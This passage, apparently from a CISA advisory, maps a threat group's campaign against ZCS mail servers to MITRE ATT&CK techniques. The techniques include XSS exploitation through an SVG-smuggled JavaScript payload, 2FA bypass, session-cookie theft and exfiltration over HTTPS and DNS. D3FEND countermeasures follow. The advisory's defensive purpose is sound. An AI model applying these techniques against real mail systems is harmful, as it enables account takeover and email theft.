<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
